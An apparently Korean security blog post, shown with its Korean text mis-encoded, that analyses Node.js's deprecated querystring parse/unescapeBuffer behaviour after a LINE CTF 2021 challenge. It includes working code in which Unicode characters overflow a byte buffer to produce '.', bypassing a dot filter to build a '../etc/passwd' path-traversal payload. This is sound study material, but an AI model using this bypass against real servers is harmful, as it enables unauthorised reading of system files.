Node.js querystring ํจ์ ๋ถ์๊ณผ bug ์ค๋ช
๐ช Intro
์๋ Line 2021 CTF ์น ๋ฌธ์ ๋ฅผ ํ๋ค๊ฐ ๊ธฐ๋กํ๊ณ ์ถ์ด ์์ฑํ๋ ค๊ณ ํฉ๋๋ค.
๋ฐ๋ก Node.js ์์ built-in ๋ชจ๋์ธ `querystring` ์ ๋๋ค. ํ์ฌ๋ deprecated ๋ ๋ชจ๋์ ๋๋ค.
๐ก About querystring module
Node.js ๊ณต์ ๋ฌธ์์ ์ค๋ช ๋ `querystring`์ ๋ํ ์ค๋ช ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค. ๊ธฐ๋ณธ์ผ๋ก URL์ query string์ ํ์ฑํ๋๋ฐ ์ฌ์ฉ๋ฉ๋๋ค.
์ฌ์ฉ๋ฐฉ๋ฒ์ ๊ณต์๋ฌธ์์ ๋ค์๊ณผ ๊ฐ์ด ์ค๋ช ํ๊ณ ์์ต๋๋ค.
`parse()` ํจ์์ ์ฒซ๋ฒ์งธ ์ธ์์ URL์ query string ๊ฐ์ ๋๊ฒจ์ค์ผ ํ๋ฉฐ, ๋๋จธ์ง ์ธ์๋ค์ ๊ธฐ๋ณธ ๊ฐ์ผ๋ก ์ค์ ๋ฉ๋๋ค.
์๋ฅผ๋ค์ด, ์๋ ์ฌ์ง์ฒ๋ผ `parse()` ํจ์์ ์ฒซ๋ฒ์งธ ์ธ์์ foo=1&abc=2 ๋ผ๋ ๊ฐ์ ๋๊ธฐ๋ฉด ๊ฒฐ๊ณผ๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
const qs = require("querystring")
const result = qs.parse("foo=1&abc=2")
console.log(result)
/* output
[Object: null prototype] { foo: '1', abc: '2' }
*/
ํน์ ๊ฐ์ ํ๋ผ๋ฏธํฐ๊ฐ 2๊ฐ ์ด์ ์กด์ฌํ๋ค๋ฉด, Array๋ก ๋ฆฌํดํ๊ธฐ๋ ํฉ๋๋ค.
const qs = require("querystring")
const result = qs.parse("foo=1&foo=a")
console.log(result)
/* output
[Object: null prototype] { foo: [ '1', 'a' ] }
*/
๊ณต์๋ฌธ์์์ `querystring` ๋ชจ๋์ `parse()` ํจ์์ ์ธ์๋ค์ด ์ฌ๋ฌ๊ฒ ์์์ต๋๋ค.
์ด ํจ์๋ query string์ ๊ธฐ๋ณธ์ ์ผ๋ก url decoding ํด์ฃผ๋๋ฐ์. ๋ฐ๋ก `querystring.unescape()` ํจ์๋ฅผ ๊ธฐ๋ณธ์ ์ผ๋ก ํธ์ถํ์ฌ url decoding์ ์ํํฉ๋๋ค.
`querystring.unescape()` ์ด ํจ์์ ๋ํ ๊ณต์๋ฌธ์์์์ ์ค๋ช ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
์ด ํจ์๋ ๊ธฐ๋ณธ์ ์ผ๋ก `parse()` ๋ผ๋ ํจ์์์ ํธ์ถ์ ์ํด ๋์ํ๋ ํจ์ ์ ๋๋ค. ์ฆ, ๋ค์ด๋ ํธ ํธ์ถ๋ก๋ ์ผ๋ฐ์ ์ผ๋ก ์ฌ์ฉ๋๋ ํจ์๋ ์๋๋๋ค.
์ ์ฌ์ง์์ ๋ง์ง๋ง ์ค์ด ์ค์ํฉ๋๋ค.
`unescape()` ํจ์๋ `decodeURIComponent()` ํจ์๋ฅผ ํธ์ถํ์ฌ url decoding์ ํฉ๋๋ค. ๋ง์ฝ `decodeURIComponent()` ํจ์์์ ์๋ฌ๊ฐ ๋ฐ์ํ๋ค๋ฉด, ๋ค๋ฅธ ๊ธฐ๋ฅ์ ์ํํ๋ค๊ณ ์ ํ์์ง๋ง ์์ธํ๋ ์์ฑ๋์ด ์์ง ์์ต๋๋ค.
์ด๋ฅผ querystring.js ํ์ผ์์ ์ฐพ์๋ณธ ๊ฒฐ๊ณผ, ์๋ ์ฝ๋์ฒ๋ผ `try catch` ๊ตฌ๋ฌธ์ ํตํด ์๋ฌ ์ฒ๋ฆฌ๋ฅผ ํ๊ณ ์์ต๋๋ค.
์์์ ์ค๋ช ํ ๊ฒ ์ฒ๋ผ, `decodeURIComponent()` ํจ์์์ ์๋ฌ๊ฐ ๋ฐ์ํ๋ฉด `QueryString.unescapeBuffer()` ํจ์๋ฅผ ํธ์ถํ๊ณ ์์ต๋๋ค.
`decodeURIComponent()` ํจ์์์ ์๋ ์ฌ์ง์ฒ๋ผ `%ff` ๋ผ๋ ๊ฐ์ ๋ฃ์ผ๋ฉด `URI malformed` ๋ผ๋ ์๋ฌ๊ฐ ๋ฐ์ํฉ๋๋ค.
์ฆ, `%ff` ๊ฐ์ `parse()` ํจ์์ ์ธ์๋ก ๋ฃ์ผ๋ฉด ์ต์ข ์ ์ผ๋ก `QueryString.unescapeBuffer()` ํจ์๊ฐ ๋์ํ๊ฒ ๋ฉ๋๋ค.
`QueryString.unescapeBuffer()` ํจ์๋ ๋ง์ฐฌ๊ฐ์ง๋ก url decoding์ ํ๋ ํจ์ ์ ๋๋ค.
์ต์ข ์ ์ผ๋ก๋ `querystring` ๋ชจ๋์ ํตํด url query string์ ํ์ฑ ํ(url decoding ๊ธฐ๋ฅ๋ ๋์), ๊ทธ ๊ฒฐ๊ณผ๋ฅผ ์ฌ์ฉ์์๊ฒ ๋ฆฌํดํฉ๋๋ค.
๐ก Bug
`querystring` ๋ชจ๋์์ `parse()` ํจ์๋ฅผ ์ฌ์ฉํ๋๋ฐ, ๊ธฐ๋ณธ์ ์ผ๋ก `decodeURIComponent()` ํจ์๋ฅผ ํตํด url decoding์ ์ํํ๋๋ฐ ์๋ฌ๊ฐ ๋ฐ์ํ๋ค๋ฉด, `unescapeBuffer()` ํจ์๋ฅผ ์ฌ์ฉํ๋ค๊ณ ์ค๋ช ํ์ต๋๋ค.
`unescapeBuffer()` ์์ ๋ฒ๊ทธ(?) ๊ฐ์๊ฒ ์๋๋ฐ, ์ด์ ๋ํ ์ค๋ช ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
81๋ฒ์งธ ์ค์์ `Buffer.allocUnsafe()` ๋ผ๋ ํจ์๋ฅผ ์ฌ์ฉํ๊ณ ์์ต๋๋ค. ์ด ํจ์๋ ๋ง๊ทธ๋๋ก ๋ฉ๋ชจ๋ฆฌ ๊ณต๊ฐ์ ํ ๋นํ๋๋ฐ์.
node ์ฝ์๋ก ์ฝ๋๋ฅผ ์ฌ์ฉํ๋ฉด, ์ฌ์ด์ฆ ๋งํผ ๊ณต๊ฐ์ ํ ๋นํฉ๋๋ค. `allocUnsafe()` ํจ์์ ํน์ฑ์, ๋ฉ๋ชจ๋ฆฌ ํ ๋น ์ ์ด์ ๋ฉ๋ก๊ธฐ ๊ฐ์ ์ด๊ธฐํ๋ฅผ ํ์ง ์์ต๋๋ค.
1byte์ ๋ฒ์๋ 0 ~ 255 ๊น์ง ์ ๋๋ค. ๋ง์ฝ, `unescapeBuffer()` ํจ์์์ url decoding์ ํ ๋ 256์ด ๋๋ ๊ฐ์ url decoding ํ๋ค๋ฉด ์ด๋ค ์ผ์ด ๋ฐ์ํ ๊น์?
unicode 256์ ๋ฌธ์๋ก ํํํ๋ฉด ๋ค์๊ณผ ๊ฐ์ต๋๋ค. ฤ ๋ผ๋ ๋ฌธ์ ์ ๋๋ค.
String.fromCharCode(256)
/* output
ฤ
*/
์ด ๊ฐ์ ์๋ ์ฝ๋์ฒ๋ผ ํ ๋น ๋ฐ์ ๋ณ์์ ๋ฃ๊ณ ์ถ๋ ฅํ๋ฉด, 00 ์ด๋ผ๋ ๊ฐ์ด ์ถ๋ ฅ ๋ฉ๋๋ค. ์ฆ, ์ต๋ 255(0xff) ๊น์ง ํํ์ด ๊ฐ๋ฅํ๊ณ 256์ด๋ผ๋ ๊ฐ์ด ์ ๋ ฅ๋ ๊ฒฝ์ฐ, overflow๊ฐ ๋ฐ์ํ์ฌ 00 ์ผ๋ก ์ ์ฅ์ด ๋ฉ๋๋ค.
const buf = Buffer.allocUnsafe(2)
const unicode = String.fromCharCode(256)
buf[0] = unicode.charCodeAt(0)
console.log(buf)
/* output
<Buffer 00 ed>
*/
257 unicode ๋ฌธ์๋ฅผ ๋ฃ์ ๊ฒฝ์ฐ, 01 ์ด ์ถ๋ ฅ ๋๊ฒ ์ฃ .
const buf = Buffer.allocUnsafe(2)
const unicode = String.fromCharCode(257)
buf[0] = unicode.charCodeAt(0)
console.log(buf)
/* output
<Buffer 01 82>
*/
์ด๋ฌํ ๋ฒ๊ทธ๋ฅผ ์ด์ฉํ์ฌ, unicode๋ฅผ ํตํด ์ฌ์ฉ์๊ฐ ์ํ๋ ascii ๋ฌธ์๋ฅผ ์ป์ด๋ผ ์ ์์ต๋๋ค.
์๋ฅผ๋ค์ด, dot(.) ์ด๋ผ๋ ๊ฐ์ ์ต์ข ์ ์ผ๋ก ์ป์ด๋ด๊ณ ์ถ๋ค๋ฉด 3๋ฒ์งธ ์ค ์ฒ๋ผ ์ฐ์ฐ์ ํตํด unicode๋ฅผ ์์ฑํฉ๋๋ค.
์ดํ, ์์์ ์ค๋ช ํ๋ `%ff` ๋ฌธ์์ unicode๋ฅผ ํฉ์ณ์ ๋ณด๋ธ๋ค๋ฉด, ์ถ๋ ฅ ๊ฐ์๋ dot(.) ์ด๋ผ๋ ๋ฌธ์๋ฅผ ์ถ๋ ฅํ๋ ๊ฒ์ ๋ณผ ์ ์์ต๋๋ค.
const qs = require("querystring")
const unicode = String.fromCharCode(256 * 2 + 0x2e)
const malicious_data = "%ff/" + unicode
const data = qs.parse(malicious_data)
console.log(data)
/* output
[Object: null prototype] { '๏ฟฝ/.': '' }
*/
์ bug๋ฅผ ๋ฌธ์ ๋ฐฉ์์ผ๋ก ๋ค๊ฐ๊ฐ๋ค๋ฉด, ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
๋ง์ฝ, validate ํจ์๋ก request body ๊ฐ์ dot, %2e, %2E ๋ฌธ์๋ฅผ ๊ฒ์ฌํ ๋ค์ querystring์ ์ฌ์ฉํ๋ค๋ฉด, ์ bug๋ฅผ ์ฌ์ฉํ์ฌ validate ํจ์ ๊ฒ์ฆ์ ์ฐํํ ์ ์์ต๋๋ค.
app.post('/', function (req, res, next) {
const body = req.body
if (typeof body !== 'string') return next(createError(400))
if (validate(body)) return next(createError(403))
const { p } = querystring.parse(body)
...
...
...
});
function validate (str) {
return str.indexOf('.') > -1 || str.indexOf('%2e') > -1 || str.indexOf('%2E') > -1
}
์ฐํํ๋ ค๋ ๋ฌธ์๋ฅผ 0x2e ๋์ ๋ค๋ฅธ ๊ฐ์ผ๋ก ๋ณ๊ฒฝ ํ, ์ด๋ฅผ `queryparse.parse()` ํจ์์ ๋ฃ์ผ๋ฉด ์ฐํํ๋ ค๋ ๋ฌธ์๊ฐ ์ถ๋ ฅ ๋๋ ๊ฒ์ ๋ณผ ์ ์์ต๋๋ค.
const qs = require("querystring")
const unicode = String.fromCharCode(256 * 2 + 0x2e) // ศฎ
const malicious_data = "%ff/ศฎศฎ/ศฎศฎ/ศฎศฎ/ศฎศฎ/ศฎศฎ/ศฎศฎ/ศฎศฎ/etc/passwd"
const data = qs.parse(malicious_data)
console.log(data)
/* output
[Object: null prototype] { '๏ฟฝ/../../../../../../../etc/passwd': '' }
*/
'Security' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[๋ถ์์ผ๊ธฐ] - php switch case (0) | 2022.09.06 |
---|---|
[๋ถ์ ์ผ๊ธฐ] - EJS, Server Side Template Injection to RCE (CVE-2022-29078) (4) | 2022.07.21 |
๋ถ์ ์ผ๊ธฐ - file upload ์ทจ์ฝ์ (0) | 2022.05.12 |
๋ถ์ ์ผ๊ธฐ - php dynamic variable (0) | 2022.04.03 |
Foobar CTF 2022 writeup (0) | 2022.03.06 |
๋๊ธ
์ด ๊ธ ๊ณต์ ํ๊ธฐ
-
๊ตฌ๋
ํ๊ธฐ
๊ตฌ๋ ํ๊ธฐ
-
์นด์นด์คํก
์นด์นด์คํก
-
๋ผ์ธ
๋ผ์ธ
-
ํธ์ํฐ
ํธ์ํฐ
-
Facebook
Facebook
-
์นด์นด์ค์คํ ๋ฆฌ
์นด์นด์ค์คํ ๋ฆฌ
-
๋ฐด๋
๋ฐด๋
-
๋ค์ด๋ฒ ๋ธ๋ก๊ทธ
๋ค์ด๋ฒ ๋ธ๋ก๊ทธ
-
Pocket
Pocket
-
Evernote
Evernote
๋ค๋ฅธ ๊ธ
-
[๋ถ์์ผ๊ธฐ] - php switch case
[๋ถ์์ผ๊ธฐ] - php switch case
2022.09.06 -
[๋ถ์ ์ผ๊ธฐ] - EJS, Server Side Template Injection to RCE (CVE-2022-29078)
[๋ถ์ ์ผ๊ธฐ] - EJS, Server Side Template Injection to RCE (CVE-2022-29078)
2022.07.21 -
๋ถ์ ์ผ๊ธฐ - file upload ์ทจ์ฝ์
๋ถ์ ์ผ๊ธฐ - file upload ์ทจ์ฝ์
2022.05.12 -
๋ถ์ ์ผ๊ธฐ - php dynamic variable
๋ถ์ ์ผ๊ธฐ - php dynamic variable
2022.04.03